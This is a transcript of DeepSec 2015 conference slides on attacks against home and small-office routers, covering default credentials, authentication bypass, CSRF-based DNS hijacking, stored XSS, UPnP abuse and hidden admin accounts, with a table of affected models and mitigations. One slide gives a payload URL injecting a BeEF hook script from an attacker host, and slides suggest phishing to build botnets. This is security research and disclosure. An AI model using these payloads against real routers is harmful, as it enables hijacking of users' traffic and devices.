revisiting soho router attacks · pdf file•dns hijacking •requires ... •change...

72
Revisiting SOHO Router Attacks DeepSec 2015

Upload: dangphuc

Post on 08-Mar-2018

233 views

Category:

Documents


4 download

TRANSCRIPT

Page 1: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks

DeepSec 2015

Page 2: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

About us...

2

Meet our research group Álvaro Folgado

Rueda Independent Researcher

José Antonio

Rodríguez García Independent Researcher

Iván Sanz de Castro Security Analyst at

Wise Security Global.

Page 3: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Main goals

3

Search for vulnerability issues

Explore innovative attack vectors

Develop exploiting tools

Build an audit methodology

Evaluate the current security level of routers

Page 4: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

State of the art • Previous researches

4

Page 5: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

State of the art • Previous researches

4

Page 6: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

State of the art • Previous researches

4

Page 7: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

State of the art • Previous researches

4

Page 8: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

State of the art • Previous researches

4

Page 9: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

State of the art • Previous researches

4

Page 10: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

State of the art • Real world attacks

5

Page 11: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Common security problems • Services

• Too many. Mostly useless. • Increases attack surfaces

• Insecure

6

Page 12: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Common security problems • Default credentials

• Public and well-known for each model

• Non randomly generated

• Hardly ever modified by users

7

45%

27%

5%

5%

18% User / Password

1234 / 1234

admin / admin

[blank] / admin

admin / password

vodafone / vodafone

Page 13: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Common security problems • Multiple user accounts

• Also with public default credentials

• Mostly useless for users

• Almost always hidden for end-users • Passwords for these accounts are never changed

8

Page 14: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Common security problems • Multiple user accounts

• Also with public default credentials

• Mostly useless for users

• Almost always hidden for end-users • Passwords for these accounts are never changed

8

Page 15: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Bypass Authentication • Allows unauthenticated attackers to carry out

router configuration changes

• Locally and remotely

• Exploits: • Improper file permissions

• Service misconfiguration

9

Page 16: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Bypass Authentication • Web configuration interface

• Permanent Denial of Service • By accessing /rebootinfo.cgi

• Reset to default configuration settings • By accessing /restoreinfo.cgi

• Router replies with either HTTP 400 (Bad Request) or HTTP 401 (Unauthorized) • But spamming gets the job done!

10

Video Demo #1 • Persistent Denial of Service without

requiring authentication

Page 17: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Bypass Authentication • SMB

• Allows unauthenticated attackers to download the entire router filesystem • Including critical files such as /etc/passwd

• File modification is as well possible

• Erroneous configuration of the wide links feature

11

Page 18: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Bypass Authentication • SMB

• Allows unauthenticated attackers to download the entire router filesystem • Including critical files such as /etc/passwd

• File modification is as well possible

• Erroneous configuration of the wide links feature

11

Page 19: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Bypass Authentication • Twonky Media Server

• Allows unauthenticated attackers to manipulate the contents of the USB storage device hooked up to the router • Download / Modify / Delete / Upload files.

• Misconfiguration of the service

12

Page 20: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Bypass Authentication • Twonky Media Server

• Allows unauthenticated attackers to manipulate the contents of the USB storage device hooked up to the router • Download / Modify / Delete / Upload files.

• Misconfiguration of the service

12

Page 21: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Cross Site Request Forgery • Change any router configuration settings by

sending a specific malicious link to the victim

• Main goal • DNS Hijacking

• Requires embedding login credentials in the malicious URL • Attack feasible if credentials have never been changed

• Google Chrome does not pop-up warning message

13

Page 22: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Cross Site Request Forgery • Change any router configuration settings by

sending a specific malicious link to the victim

• Main goal • DNS Hijacking

• Requires embedding login credentials in the malicious URL • Attack feasible if credentials have never been changed

• Google Chrome does not pop-up warning message

13

Page 23: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Cross Site Request Forgery • Change any router configuration settings by

sending a specific malicious link to the victim

• Main goal • DNS Hijacking

• Requires embedding login credentials in the malicious URL • Attack feasible if credentials have never been changed

• Google Chrome does not pop-up warning message

13

Page 24: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Cross Site Request Forgery • Suspicious link, isn't it?

• URL Shortening Services

• Create a malicious website

14

Page 25: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Persistent Cross Site Scripting • Inject malicious script code within the web

configuration interface

• Goals • Session Hijacking

• Browser Infection

15

Page 26: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Persistent Cross Site Scripting • Browser Exploitation Framework is a great help

• Input field character length limitation

• BeEF hooks link to a more complex script file hosted by the attacker

http://1234:[email protected]/goform?param=<script src="http://NoIPDomain:3000/hook.js"></script>

16

Page 27: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Unauthenticated Cross Site Scripting • Script code injection is performed locally without

requiring any login process

• Send a DHCP Request PDU containing the malicious script within the hostname parameter

• The malicious script is injected within Connected Clients (DHCP Leases) table

17

Page 28: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Unauthenticated Cross Site Scripting

18

Page 29: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Unauthenticated Cross Site Scripting • Sometimes it is a little bit harder...

19

Page 30: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Unauthenticated Cross Site Scripting • Sometimes it is a little bit harder...

19

Page 31: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Unauthenticated Cross Site Scripting • Or even next level...

• But it works!

20

Page 32: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Privilege Escalation • User without administrator rights is able to escalate

privileges and become an administrator

• Shows why multiple user accounts are unsafe

21

Video Demo #2

• Privilege Escalation via FTP

Page 33: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Backdoor • Hidden administrator accounts

• Completely invisible to end users • But allows attackers to change any configuration setting

22

Page 34: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Backdoor • Hidden administrator accounts

• Completely invisible to end users • But allows attackers to change any configuration setting

22

Page 35: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Information Disclosure • Obtain critical information without requiring any

login process • WLAN password

• Detailed list of currently connected clients

• Hints about router's administrative password

• Other critical configuration settings

23

Page 36: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Information Disclosure • Obtain critical information without requiring any

login process • WLAN password

• Detailed list of currently connected clients

• Hints about router's administrative password

• Other critical configuration settings

23

Page 37: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Information Disclosure

24

Page 38: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Information Disclosure

24

Page 39: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Information Disclosure

24

Page 40: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Universal Plug and Play • Enabled by default on several router models

• Allows application to execute network configuration changes such as opening ports

• Extremely insecure protocol • Lack of an authentication process

• Awful implementations

• Goals • Open critical ports for remote WAN hosts

• Persistent Denial of Service

• Carry out other configuration changes

25

Page 41: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Universal Plug and Play • Locally

• Miranda UPnP tool

26

Page 42: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Universal Plug and Play

27

Page 43: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Universal Plug and Play

27

Page 44: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Universal Plug and Play • Remotely

• Malicious SWF file

28

Page 45: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Attack vectors • Locally

• Attacker is connected to the victim's LAN either using an Ethernet cable or wirelessly

• Remotely • The attacker is outside of the victim's LAN

29

Page 46: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Social Engineering is your friend • For link-based remote attacks

• XSS, CSRF and UPnP

• Social Networks = Build the easiest botnet ever!

• Phishing emails = Targeted attacks

30

Page 47: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Social Engineering is your friend • For link-based remote attacks

• XSS, CSRF and UPnP

• Social Networks = Build the easiest botnet ever!

• Phishing emails = Targeted attacks

30

Page 48: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Social Engineering is your friend • For link-based remote attacks

• XSS, CSRF and UPnP

• Social Networks = Build the easiest botnet ever!

• Phishing emails = Targeted attacks

30

Page 49: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Social Engineering is your friend • For link-based remote attacks

• XSS, CSRF and UPnP

• Social Networks = Build the easiest botnet ever!

• Phishing emails = Targeted attacks

30

Page 50: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015 31

Live Demo #1

• DNS Hijacking via CSRF

Live Demo #2 • Bypass Authentication using SMB Symlinks

Page 51: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Developed tools

32

Page 52: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Developed tools

33

Page 53: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

7

3

1

No reply

"Not our problem"

Other

Manufacturers' response • Average 2-3 emails sent to each manufacturer

• Most of them unreplied... 7 months later

• Number of vulnerabilities fixed: 0

34

Page 54: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Manufacturers' response • Average 2-3 emails sent to each manufacturer

• Most of them unreplied... 7 months later

• Number of vulnerabilities fixed: 0

34

Page 55: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Mitigations • For end users

• Change your router's administrative password

• Try to delete any other administrative account • At least, change their passwords

• Update the firmware... • ... after spamming your manufacturer to fix the

vulnerabilities

• Do not trust shortened links

• Disable UPnP. It's evil

• Disable any other unused services

35

Page 56: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Mitigations • For manufacturers

• Listen to what security researchers have to say

• Do not include useless services • Specially for ISP SOHO routers

• At least, make it feasible to completely shut them down

• Critical ports closed to WAN by default • At least: 21, 22, 23, 80 and 8000/8080

• Randomly generate user credentials

• Do not include multiple user accounts

• Avoid using unsafe protocols (HTTP, telnet and FTP)

• Design a safer alternative to UPnP

36

Page 57: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Mitigations • For manufacturers

• XSS • Check every input field within router's web interface

• Sanitize DHCP hostname parameters

• Content Security Policies

• CSRF • Tokens... that work

• Bypass Authentication & Information Disclosure • Check for improper file permissions and public debug messages

• Service-related • Check for possible wrong service configuration (e.g.: FTP, SMB)

37

Page 58: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Mitigations • For manufacturers

• XSS • Check every input field within router's web interface

• Sanitize DHCP hostname parameters

• Content Security Policies

• CSRF • Tokens... that work

• Bypass Authentication & Information Disclosure • Check for improper file permissions and public debug messages

• Service-related • Check for possible wrong service configuration (e.g.: FTP, SMB)

37

Page 59: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Results • More than 60 vulnerabilities have been discovered

• 22 router models affected

• 11 manufacturers affected

38

Page 60: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015 39

0

2

4

6

8

10

12

14

16

18

Disclosed vulnerabilities per manufacturer

Número de routers afectados Vulnerabilidades totales encontradasNumber of disclosed vulnerabilities Number of affected routers

Page 61: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015 40

21%

15%

20% 8%

2%

3%

2%

6%

23% XSS

Unauthenticated XSS

CSRF

Denial of Service

Privilege Escalation

Information Disclosure

Backdoor

Bypass Authentication

UPnP

Vulnerabilities by types

Page 62: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015 41

Router XSS Unauth.

XSS CSRF DoS

Privilege

Escalation

Info.

Disclosure Backdoor

Bypass

Auth. UPnP

Observa Telecom AW4062 Vuln. - Vuln. Vuln. Vuln. - - - -

Comtrend WAP-5813n Vuln. - Vuln. - - - - - Vuln.

Comtrend CT-5365 Vuln. Vuln. Vuln. - - - - - Vuln.

D-Link DSL2750B - - - - - Vuln. - - Vuln.

Belkin F5D7632-4 - - Vuln. Vuln. - - - - Vuln.

Sagem LiveBox Pro 2 SP Vuln. - - - - - - - Vuln.

Amper Xavi 7968/+ - Vuln. - - - - - - Vuln.

Sagem F@st 1201 - Vuln. - - - - - - -

Linksys WRT54GL - Vuln. - - - - - - -

Observa Telecom RTA01N Vuln. Vuln. Vuln. Vuln. - - Vuln. - Vuln.

Observa Telecom BHS-RTA - - - - - Vuln. - - Vuln.

Observa Telecom VH4032N Vuln. - Vuln. - - - - Vuln. Vuln.

Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln.

Huawei HG556a Vuln. Vuln. Vuln. Vuln. - - - Vuln. Vuln.

Astoria ARV7510 - - Vuln. - - - - Vuln. -

Amper ASL-26555 Vuln. Vuln. Vuln. - - - - Vuln.

Comtrend AR-5387un Vuln. Vuln. - - - - - - -

Netgear CG3100D Vuln. - Vuln. - - - - - -

Comtrend VG-8050 Vuln. Vuln. - - - - - - -

Zyxel P 660HW-B1A Vuln. - Vuln. - - - - - -

Comtrend 536+ - - - - - - - - Vuln.

D-Link DIR-600 - - - - - - - - Vuln.

Page 63: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Responsible Disclosure

42

Page 64: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Responsible Disclosure

42

Page 65: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Responsible Disclosure

42

Page 66: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Responsible Disclosure

42

Page 67: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Responsible Disclosure

42

Page 68: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Responsible Disclosure

42

Page 69: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Conclusion • Has SOHO router security

improved? • Hell NO!

• Serious security problems

• Easy to exploit

• With huge impact

• Millions of users affected

• PLEASE, START FIXING SOHO ROUTER SECURITY

• NOW!

43

Page 70: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

TL;DR

44

Page 71: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

TL;DR

44

Page 72: Revisiting SOHO Router Attacks · PDF file•DNS Hijacking •Requires ... •Change any router configuration settings by ... Huawei HG553 Vuln. - Vuln. Vuln. - - - Vuln. Vuln

Revisiting SOHO Router Attacks · DeepSec 2015

Álvaro Folgado Rueda · [email protected]

José A. Rodríguez García · [email protected]

Iván Sanz de Castro · [email protected]

45

Thank you! Q&A Time